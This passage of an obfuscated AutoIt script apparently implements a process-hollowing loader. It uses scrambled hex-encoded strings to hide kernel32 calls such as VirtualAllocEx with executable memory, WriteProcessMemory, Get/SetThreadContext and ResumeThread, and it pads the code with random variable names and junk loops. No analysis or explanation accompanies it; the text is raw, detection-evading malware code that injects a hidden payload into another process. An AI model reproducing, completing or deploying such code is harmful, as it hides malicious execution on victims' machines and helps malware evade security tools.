"206" & "F72" & "647" & "73B" & "207" & "264" & "576" & "F6F" &  _ 
"6C7" & "472" & "6F6" & "E20" & "437" & "264" & "776" & "F3B" &  _ 
"647" & "237" & "204" & "472" & "647" & "76F" & "206" & "436" &  _ 
"3B4" & "472" & "642" & "06F" & "726" & "477" & "3B2" & "072" &  _ 
"332" & "044" & "726" & "477" & "6F2" & "064" & "323" & "B44" &  _ 
"726" & "420" & "6F7" & "264" & "773" & "B20" & "723" & "120" &  _ 
"447" & "264" & "776" & "F20" & "643" & "03B" & "447" & "264" &  _ 
"206" & "F72" & "647" & "773" & "3B6" & "167" & "466" & "C78" &  _ 
"747" & "465" & "6F6" & "E20" & "437" & "264" & "776" & "F5D" &  _ 
"643" & "132" & "5B3" & "572" & "737" & "465" & "697" & "365" &  _ 
"676" & "452" & "646" & "565" & "6E7" & "874" & "204" & "574" &  _ 
"656" & "279") ) ) ,443) )
#region VRcGch

DllStructSetData($e78ae28d9271dd84c055528d54f83fda87ae58f2  , 1, 0x10007)
#endregion


#region xlLyEXDOSF

Local $ae341cbcabba3ee360e305d0f056df4bea4f78aa   = DllCall(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "56C" & "726" &  _ 
"E4B" & "656" & "C6C" &  _ 
"2E6" & "433" & "32") ) ) ,6) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "449" & "6E") ) ) ,0) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "578" & "6E7" & "443" & "6F6" & "164" & "726" & "554" & "686" & "574" &  _ 
"744" & "7") ) ) ,15) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "861" & "6C6" & "56E" & "64") ) ) ,2) , $7b794f42c55d027b2ad06e82a71c6cc1f1a14bca  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "472" & "50") ) ) ,2) , DllStructGetPtr($e78ae28d9271dd84c055528d54f83fda87ae58f2  ))
#region BDjjgVN

Local $2144cac566c4f94fde598881c7ebbaab2c17109c   = DllCall(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "56C" & "726" & "E4B" & "656" & "C6C" & "2E6" & "433" & "32") ) ) ,6) , ipbBeipylpv(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" &  _ 
"074" &  _ 
"72") ) ) ,1) ,0) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "C41" & "756" & "172" & "745" & "669" & "457" & "86F" & "636" & "C6C") ) ) ,8) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "548" & "646" & "C61" & "6E") ) ) ,1) , $8a7f1bbf9069d071039961b70a063753  , ipbBeipylpv(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" &  _ 
"074" &  _ 
"72") ) ) ,1) ,0) , $dcc31a8f8d1d5a4e2372b585928dbc7d9b1e6295  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" &  _ 
"F44" &  _ 
"777" &  _ 
"264") ) ) ,3) , $24523d1eaed0952e94c0ec5983f887741ddeeb73297397e1f0fc12607579c822  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" &  _ 
"F44" &  _ 
"777" &  _ 
"264") ) ) ,3) , 0x3000, ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" &  _ 
"F44" &  _ 
"777" &  _ 
"264") ) ) ,3) , 0x40)
Local $26bf6c192c81835782dc4fd5979afc1ae5c40f24   = DllCall(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "572" &  _ 
"6C4" & "B64" &  _ 
"6C3" & "22E" &  _ 
"6C3" & "36E" &  _ 
"65") ) ) ,3) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "E74" & "49") ) ) ,2) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "957" & "6F7" & "265" & "6D7" & "34D" & "657" & "36F" & "635" & "072" & "746" & "572" & "69") ) ) ,1) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" &  _ 
"C65" &  _ 
"6E6" &  _ 
"448" &  _ 
"61") ) ) ,0) , $8a7f1bbf9069d071039961b70a063753  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" &  _ 
"472" &  _ 
"50") ) ) ,2) , $dcc31a8f8d1d5a4e2372b585928dbc7d9b1e6295  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" &  _ 
"472" &  _ 
"50") ) ) ,2) , DllStructGetPtr($53392bc79afafb95d3f5239ec35cc0e9a40d8688  ), ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "C72" & "555" & "074" & "675" &  _ 
"F6F" & "6E") ) ) ,2) , $3380569b61295e3af4a7e961e42f4b0946a6849e421fe22ae4cc5a2d004e5f4e  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "472" & "647" & "76F") ) ) ,1) , 0)
#endregion


For $5b8ac5cf5a78ab3a780a5d64d14c9fdf328b0798125c3ccfa9e2f46739f0dd0e   = 1 To $2705e2bdaa0a80927dcd53abe45b8bf7ea6b12c3fb80282b78dea599f15b6e9e
Global $oIZonoYMwartT9IM9a7YcvufIhfVW2K3ZtcJuWCAbeO7SO4xBp3oarXxeCasEPHX3TzwdPKRM5oHRF9o1YHlhSVZl7khdrGddXab1ODESyMLovFYC5m9bgsp55GkbdwkzdgEyO1qtjsoa2xEPAEkYVtMhk6TYZNpD9kZH3lYdMHneYbOM7ZADq2Lr4kCCzFQGow8IFhELC3FtaaL8lYU6LDlmiWmINcE3t2GkO83aiaEYhTqiLMRxHPRfJI4tWuU4adA6HyHjznfdRG1SPlqdX9M9haK0Yv9OAHCBoPLNo0xRgs61ukHrZN9NgLu2avztgKCkCp0UkgraDQd5oL7EPK43RVwbMG5xoNVxVy9SrGSXRVpm
#endregion


Local $07d04b94a4f60d5411832cf1fb9ec654   = DllStructCreate(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "372" & "656" & "464" & "6C4" &  _ 
"175" & "617" & "274" & "566" & "964" &  _ 
"206" & "F72" & "647" & "773" & "3B6" &  _ 
"573" & "647" & "241" & "646" & "16C" &  _ 
"696" & "379" & "735" & "068" & "6E6" &  _ 
"465" & "416" & "97A" & "6C5" & "375" &  _ 
"617" & "274" & "566" & "94F" & "666" &  _ 
"F6E" & "6E6" & "920" & "557" & "264" &  _ 
"776" & "F3B" & "643" & "85D" & "655" &  _ 
"B61" & "6D2" & "04E" & "617" & "263" &  _ 
"686" & "373" & "746" & "969" & "736" &  _ 
"572" & "637" & "472" & "616" & "861" &  _ 
"204" & "372" & "647" & "76F" & "3B6" &  _ 
"472" & "736" & "265" & "756" & "D65" &  _ 
"6E6" & "96E" & "664" & "C72" & "4F6" &  _ 
"265" & "756" & "D20" & "4E7" & "274" &  _ 
"686" & "F75" & "737" & "33B" & "6F6" &  _ 
"E74" & "696" & "361" & "6C6" & "F52" &  _ 
"654" & "F66" & "657" & "26D" & "624" &  _ 
"E75" & "742" & "06F" & "727" & "368" &  _ 
"3B7" & "572" & "736" & "265" & "756" &  _ 
"D65" & "6E6" & "96E" & "6F4" & "C72" &  _ 
"547" & "465" & "696" & "E50" & "6F6" &  _ 
"420" & "6F7" & "264" & "777" & "33B" &  _ 
"6F6" & "E74" & "696" & "361" & "6C6" &  _ 
"F52" & "655" & "46F" & "657" & "26E" &  _ 
"746" & "F69" & "205" & "072" & "647" &  _ 
"76F" & "3B6" & "474" & "614" & "461" &  _ 
"617" & "76F" & "527" & "254" & "746" &  _ 
"569" & "6E5" & "06F" & "642" & "06F" &  _ 
"726" & "477" & "613" & "B61" & "747" &  _ 
"744" & "526" & "14F" & "667" & "A65" &  _ 
"536" & "964" & "206" & "F72" & "647" &  _ 
"773" & "3B") ) ) ,75) , $b42c09b070f11f83a07c85ca8e122afd1a4f34cbd77e70f199016678  )
Local $57a90666fc81e30d5338710e22b496dc68e6555e5e028eb5ef3131ca   = ($dcc31a8f8d1d5a4e2372b585928dbc7d9b1e6295   + DllStructGetData($07d04b94a4f60d5411832cf1fb9ec654  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "164" & "616" & "C74" & "756" & "972" & "735" & "665" & "736" & "472") ) ) ,9) ))
Local $b3db17709a73ec9099f5733427aa730321b85445d7d46e6caddf9538d42bce07d59bb622cdea3f6448b87f19ebc88839e7278d13af48f7ff78058537f610bda8   = DllStructGetData($07d04b94a4f60d5411832cf1fb9ec654  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" & "374" & "614" & "461" & "617" & "766" &  _ 
"526" & "54F" & "697" & "A") ) ) ,1) )
Local $60beada496ddf415182e6e3b4327166bc65a8f072ee4a91f78cd29e1a78f34e6   = (DllStructGetPtr($53392bc79afafb95d3f5239ec35cc0e9a40d8688  ) + DllStructGetData($07d04b94a4f60d5411832cf1fb9ec654  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "465" & "696" & "E50" & "6F7" & "461" & "446" & "161" & "776" & "F52" & "725" & "4") ) ) ,6) ))
#endregion


Local $3da65f9a43804c46c054e50dc9be18bba4009a61b22a3d9a53cc20e1   = DllCall(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x2" & "E64" & "333" & "265" & "6C7" & "26E" & "4B6" & "56C" &  _ 
"6C") ) ) ,10) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "96E" & "74") ) ) ,1) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "D65" & "737" & "363" & "657" & "26F" & "655" & "069" &  _ 
"745" & "772" & "727" & "96D" & "6F") ) ) ,14) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "861" & "6C6" & "56E" & "64") ) ) ,2) , $8a7f1bbf9069d071039961b70a063753  , ipbBeipylpv(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" & "074" & "72") ) ) ,1) ,0) , $57a90666fc81e30d5338710e22b496dc68e6555e5e028eb5ef3131ca  , ipbBeipylpv(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" & "074" & "72") ) ) ,1) ,0) , $60beada496ddf415182e6e3b4327166bc65a8f072ee4a91f78cd29e1a78f34e6  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "250" & "746" & "75F" & "6F6" & "E55" & "6C") ) ) ,0) , $b3db17709a73ec9099f5733427aa730321b85445d7d46e6caddf9538d42bce07d59bb622cdea3f6448b87f19ebc88839e7278d13af48f7ff78058537f610bda8  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "472" & "647" & "76F") ) ) ,1) , 0)
$b42c09b070f11f83a07c85ca8e122afd1a4f34cbd77e70f199016678 = EXecUTe(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "531" & "613" & "835" & "636" & "338" & "303" & "733" & "616" & "638" & "313" & "130" & "663" & "037" & "396" &  _ 
"263" & "303" & "432" & "246" & "234" & "302" & "B20" & "382" & "036" & "373" & "136" & "393" & "031" & "393" & "066" &  _ 
"653" & "737" & "376" & "264" & "346" & "366" & "336" & "134" & "643" & "161" & "663" & "232") ) ) ,28) )

Next
 locaL $50615f42498436cd2bbac645e06f76035ae8ee2c01965647b4215b2ca10655347c16e9fdc28bf364c833a746a9a6b06c2f358e79e966e1495f015a6772d596db = EXecutE(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "230" & "386" & "161" & "383" &  _ 
"664" & "356" & "136" & "343" & "237" &  _ 
"643" & "437" & "366" & "330" & "663" &  _ 
"061" & "666" & "437" & "312" & "024" &  _ 
"202" & "B20" & "203" & "935" & "363" &  _ 
"231" & "653" & "962" & "376" & "462" &  _ 
"633" & "864" & "393" & "238" & "356" &  _ 
"235" & "373" & "232" & "333" & "465" &  _ 
"356" & "131" & "643" & "864" & "386" &  _ 
"631" & "616" & "333" & "646" & "338" &  _ 
"243" & "566" & "313" & "930" & "643" &  _ 
"066" & "643" & "366" & "353" & "332" &  _ 
"353" & "036" & "316" & "163" & "636" &  _ 
"437" & "643" & "265" & "306" & "232" &  _ 
"623" & "162" & "626" & "437" & "32") ) ) ,74) ) 

DllStructSetData($e78ae28d9271dd84c055528d54f83fda87ae58f2  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "178" & "45") ) ) ,2) , $50615f42498436cd2bbac645e06f76035ae8ee2c01965647b4215b2ca10655347c16e9fdc28bf364c833a746a9a6b06c2f358e79e966e1495f015a6772d596db  )
Local $uHVWZzcGuEZY3WBvn6HOy03Qi75OG963iHWG7zGKx41krP7c8qlXP5CgGMDrNnYNgBVtwk1aT2OQCcHlg83EVYHUeLNdyUuCeJpNasLMQIIR6k1nVcGGo4yfZLLCKbEBR3eIM7QMQVaD29PQkLfH0G1nQvRLrZSSmZB695vpJpEeynEzey0HuuxbK32FBHZjZWadZOhMGVDtMAupmITyggr42JWe4ooPZm2rl4M1gCVyKv94wcfEGIP3YIJJCqFGA
#endregion


Local $1d4a4675c749b1735ba5705f45f2946757268de9   = (DllStructGetData($e78ae28d9271dd84c055528d54f83fda87ae58f2  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "562" & "78") ) ) ,1) ) + 8)
Local $a153ff2963b5c9ed6c2741a21cc7b907   = DllCall(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "56C" & "726" & "E4B" & "656" & "C6C" & "2E6" & "433" &  _ 
"32") ) ) ,6) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "96E" & "74") ) ) ,1) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "974" & "577" & "272" & "796" & "D6F" & "4D6" & "573" & "736" & "365" & "726" &  _ 
"F65" & "50") ) ) ,4) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" &  _ 
"C65" &  _ 
"6E6" &  _ 
"448" &  _ 
"61") ) ) ,0) , $8a7f1bbf9069d071039961b70a063753  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "250" & "74") ) ) ,0) , $1d4a4675c749b1735ba5705f45f2946757268de9  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "22A" &  _ 
"507" & "4") ) ) ,0) , $dcc31a8f8d1d5a4e2372b585928dbc7d9b1e6295  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" & "F6E" & "676" & "C6F" & "725" & "550" & "74") ) ) ,6) , 4, ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "472" & "647" & "76F") ) ) ,1) , 0)
Local $ee5152f7a9131e4b93ba46ad4b20a4c40c7ba7e8   = DllCall(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" &  _ 
"C6C" &  _ 
"2E6" &  _ 
"433" &  _ 
"326" &  _ 
"56C" &  _ 
"726" &  _ 
"E4B" &  _ 
"65") ) ) ,0) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "96E" & "74") ) ) ,1) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "578" & "6E7" & "443" &  _ 
"6F6" & "164" & "726" & "554" &  _ 
"686" & "574" & "745" & "3") ) ) ,15) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "16E" & "654" & "864" & "6C") ) ) ,3) , $7b794f42c55d027b2ad06e82a71c6cc1f1a14bca  , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "250" & "74") ) ) ,0) , DllStructGetPtr($e78ae28d9271dd84c055528d54f83fda87ae58f2  ))
Local $543aef886a0c35fedee46ab773d7281f   = DllCall(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" &  _ 
"26E" &  _ 
"4B6" &  _ 
"56C" &  _ 
"6C2" &  _ 
"E64" &  _ 
"333" &  _ 
"265" &  _ 
"6C") ) ) ,4) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "472" & "647" & "76F") ) ) ,1) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "561" & "687" & "265" & "547" & "56D" & "657" & "364" & "52") ) ) ,11) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "548" & "646" &  _ 
"C61" & "6E") ) ) ,1) , $7b794f42c55d027b2ad06e82a71c6cc1f1a14bca  )
Else
#region VHdFKfEuu

#endregion


MsgBox(16, ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" & "252" &  _ 
"455" & "24F") ) ) ,2) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "56E" &  _ 
"202" & "075" &  _ 
"657" & "36F" &  _ 
"202" & "06E" &  _ 
"766" & "F68" &  _ 
"697" & "263" &  _ 
"206" & "174" &  _ 
"654" & "573" &  _ 
"652" & "162" &  _ 
"6C7" & "461" &  _ 
"637" & "56A" &  _ 
"65") ) ) ,23) )
; M5MgmJB62I0tTPHd55biFcoQF99aWqRKaSJfv6VnZ2JrPoXdOaq
Return 0
EndIf
dim $dXLFXxgQRCnHcaZLUswfWnktynNfFSXyGnXuhpcIS = -822.945437137
LocaL $wdrQCmiBxBcPbjPNHBqYVlIBkbvTOkIuIsOgoIaAKzcpEnux = @ScriptLineNumber
LOCAL $XMFHjGlsRgQuJpPOTpqYEhVUHLORuCyVkAtiEWJSHvKiGmUsBw = Eval(BinaryToString("0x5" & "3") )
GlOBal $qjhuWyzkCIDrFyZNWeVIxTypDHOqCuWRE = Eval(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "677" & "794" & "F65" & "675" & "343" & "784" & "A") ) ) ,5) )
iF $dXLFXxgQRCnHcaZLUswfWnktynNfFSXyGnXuhpcIS <> @TrayIconFlashing THEN
Dim $ckwuoVCWtXVrqdOOponeZAVcmQSiNIfAOJs = 0
aSSIgn(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" &  _ 
"D51" &  _ 
"566" &  _ 
"35A" &  _ 
"416" &  _ 
"E65" &  _ 
"706" &  _ 
"F4F" &  _ 
"4F7" &  _ 
"164" &  _ 
"567" &  _ 
"274" &  _ 
"584" &  _ 
"357" &  _ 
"6F5" &  _ 
"677" &  _ 
"756" &  _ 
"36B" &  _ 
"732" &  _ 
"44F" &  _ 
"4A6" &  _ 
"641" &  _ 
"4E4" &  _ 
"953" &  _ 
"69") ) ) ,27) ,ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "F40" & "485" & "552") ) ) ,3) )

gLOBAl $MbVLJBfRqWOmVtvyzFkDMjeAvgKDKYEdUhfNWptAYSTwPd = 0
aSsign(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "A56" & "4C4" & "D62" & "642" & "477" & "505" & "354" &  _ 
"415" & "970" & "744" & "E57" & "686" & "664" & "555" & "945" &  _ 
"444" & "B67" & "4B4" & "176" & "6A6" & "544" & "4D4" & "66B" &  _ 
"797" & "A74" & "766" & "D56" & "574" & "F52" & "714" & "266") ) ) ,6) ,ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "159" & "455" & "240") ) ) ,4) )

GLobAL $ZHYXjClJJlXMeshRUCRpgelowfmoORbTb = 0
assIGN(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" &  _ 
"D6F" &  _ 
"776" &  _ 
"66C" &  _ 
"6F6" &  _ 
"765" &  _ 
"527" &  _ 
"055" &  _ 
"436" &  _ 
"852" &  _ 
"657" &  _ 
"358" &  _ 
"4D4" &  _ 
"A6C" &  _ 
"6C4" &  _ 
"A6A" &  _ 
"435" &  _ 
"958" &  _ 
"5A4" &  _ 
"862" &  _ 
"246" &  _ 
"254" &  _ 
"4F5" &  _ 
"2") ) ) ,29) ,ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x2" & "E39" & "393" & "335" & "313" & "731" &  _ 
"383" & "630" & "343" & "1") ) ) ,4) )

$MbVLJBfRqWOmVtvyzFkDMjeAvgKDKYEdUhfNWptAYSTwPd -= $ckwuoVCWtXVrqdOOponeZAVcmQSiNIfAOJs


eLSeIF $wdrQCmiBxBcPbjPNHBqYVlIBkbvTOkIuIsOgoIaAKzcpEnux = @TrayIconVisible or $XMFHjGlsRgQuJpPOTpqYEhVUHLORuCyVkAtiEWJSHvKiGmUsBw = 337 OR $qjhuWyzkCIDrFyZNWeVIxTypDHOqCuWRE = BinaryToString("0x5" & "9")  THen
dIM $oHNitTBigeCyGKcnYWNwKPGNZEuwYIUph = Eval(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "234" & "2E3" & "138" & "383" & "930" & "353" & "033" & "343" &  _ 
"2") ) ) ,4) )

gLoBaL $GEXofSCvbJQyJymXgMlGpEUylSdLnSwfUeMjSDAFNBteQS = Eval(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "574" & "4E7" & "476" & "6D4" & "F4E") ) ) ,0) )

$oHNitTBigeCyGKcnYWNwKPGNZEuwYIUph /= $oHNitTBigeCyGKcnYWNwKPGNZEuwYIUph


ElSE 
DIm $AACKvQYuZuJZfoLZGdmBFsLRAQobWvYqduQlIidSvnsGPA = ((2252.93569789-8634.3772403)+(8980.35763788/1.26049986998))

dim $wumhQJiIEJvgheJGgFlGxckoGhEHhGBylv = 0
aSsiGn(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "C42" & "796" & "847" & "454" & "847" &  _ 
"686" & "B6F" & "786" & "36C" & "476" & "746" &  _ 
"4A4" & "768" & "657" & "667" & "454" & "A69" &  _ 
"495" & "14A" & "6D6" & "877" & "757" & "624") ) ) ,34) ,ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x2" & "928" & "6E6" & "16C" & "457" &  _ 
"6") ) ) ,0) )

$wumhQJiIEJvgheJGgFlGxckoGhEHhGBylv += BITSHIFT($wumhQJiIEJvgheJGgFlGxckoGhEHhGBylv,$AACKvQYuZuJZfoLZGdmBFsLRAQobWvYqduQlIidSvnsGPA)


eNDIF

LocaL $UIeOjRRQZSNpOrjTuEqHLqqvnudOxzDQfsMWyrKTDFM = Eval(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" &  _ 
"770" &  _ 
"6E6" &  _ 
"441" &  _ 
"446" &  _ 
"870" &  _ 
"564" &  _ 
"C") ) ) ,9) )

FOR $UIeOjRRQZSNpOrjTuEqHLqqvnudOxzDQfsMWyrKTDFM = 171 To 683 stEp 8 
lOcAl $NtvMPxPTyygdwasvPUWoDYhyWVtnkQQMUPQCniPVTb = 0
aSsiGn(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "779" & "795" & "054" & "507" & "876" & "4D4" & "E74" & "622" & "456" & "546" & "950" &  _ 
"436" & "E50" & "514" & "D55" & "515" & "16E" & "6B5" & "674" & "795" & "759" & "686" & "F44" &  _ 
"555" & "776" & "506" & "173" & "647" & "7") ) ) ,12) ,ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "928" & "396" &  _ 
"16C" & "457" & "637" &  _ 
"29") ) ) ,7) )



 next

dIm $JYTklgKPBsODxZjuCpnIRquTzMWdIGpHYNXVByN = ((-9957.80833663*0.98081086739)+(9916.8902457-49.1636137541))
diM $hrxGHFaQkAnqaHlXmsXvKIlyOmhryKpMIeFGrzOIJwCrsq = ((9778.79725272/1.03181256106)-(-1819.45689744*-4.84776532934))
 dO 
GlOBaL $MFRUCviMuCzInZqPuJAxeCkwufieYwNAd = 0
aSsiGN(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "E41" & "597" & "769" & "657" & "566" & "6B7" & "765" & "434" & "178" & "754" & "A71" &  _ 
"506" & "E5A" & "7A4" & "975" & "436" & "94D" & "437" & "652" & "554" & "D46" & "642" & "4") ) ) ,33) ,ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "C76" & "612" & "945" & "323" & "537" &  _ 
"353" & "836" & "343" & "634" & "2E3" & "331" &  _ 
"282" & "D") ) ) ,4) )



$JYTklgKPBsODxZjuCpnIRquTzMWdIGpHYNXVByN += ((-9732.8306227+9625.08119399)*(-4676.21640466+4676.20712387))
 uNtiL $JYTklgKPBsODxZjuCpnIRquTzMWdIGpHYNXVByN >= $hrxGHFaQkAnqaHlXmsXvKIlyOmhryKpMIeFGrzOIJwCrsq

dIm $jKtzzznkeaouZfLfgrbSPGDUnBlfVWwZqaADpaI = @TAB

For $jKtzzznkeaouZfLfgrbSPGDUnBlfVWwZqaADpaI = -757 TO 304 Step 6 
GLoBaL $RNTyXJaxtPxBFuebaiGQCPoAryXSXPVXKcLakvpVPM = 720.274114921

Dim $uDPXimlmosuVCgXFiyITyNzcVcErgNFWEqTa = Eval(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" & "044" & "4B5" & "165" & "63") ) ) ,5) )

LoCaL $CIZyRiJzTVwCYXUjYiGGqclwKpZPPtsnOGPlaxseOP = 0
aSSiGN(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" &  _ 
"077" &  _ 
"4B6" &  _ 
"36C" &  _ 
"477" &  _ 
"169" &  _ 
"476" &  _ 
"A59" &  _ 
"585" &  _ 
"543" &  _ 
"595" &  _ 
"677" &  _ 
"7A5" &  _ 
"469" &  _ 
"4A7" &  _ 
"952" &  _ 
"495" &  _ 
"A24" &  _ 
"434" &  _ 
"F50" &  _ 
"736" &  _ 
"561" &  _ 
"785" &  _ 
"06C" &  _ 
"4F4" &  _ 
"773" &  _ 
"6E5" &  _ 
"074" &  _ 
"5A5" &  _ 
"0") ) ) ,27) ,ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" &  _ 
"234" &  _ 
"303" &  _ 
"239" &  _ 
"303" &  _ 
"12E" &  _ 
"373" &  _ 
"330" &  _ 
"6C2" &  _ 
"876" &  _ 
"612" &  _ 
"945" &  _ 
"313" &  _ 
"6") ) ) ,16) )

$uDPXimlmosuVCgXFiyITyNzcVcErgNFWEqTa /= $uDPXimlmosuVCgXFiyITyNzcVcErgNFWEqTa


 NeXT

dim $uWOhAteucVxCOmOsxLxBSWaDEEadlIzPcCMhjNLJrRvv = ((6547.43835597/1.53818397761)/(-9027.75318778+9034.11582288))
DIm $iIdDwEacMkDhrCerEbabbaziZfzmrsLNfuOgNjtJvYpgCr = ((6351.80383966/15.1059562112)*(-2767.17199778*-0.000771776101783))
LOcAl $yTCPkFilkiKRoKvjveEhjHwAFkZTBoTJuXiuzNRquWKMeKP = ((-751.162064096/0.534732411956)*(-9622.33014326+9621.74640694))
gLOBAL $fJCObkemSJvBcFVKhfWAcigSglvswX = ((-7668.74089616*0.198908385636)*(8385.88185011-8386.20963796))
 WhilE $uWOhAteucVxCOmOsxLxBSWaDEEadlIzPcCMhjNLJrRvv > $iIdDwEacMkDhrCerEbabbaziZfzmrsLNfuOgNjtJvYpgCr oR $yTCPkFilkiKRoKvjveEhjHwAFkZTBoTJuXiuzNRquWKMeKP < $fJCObkemSJvBcFVKhfWAcigSglvswX
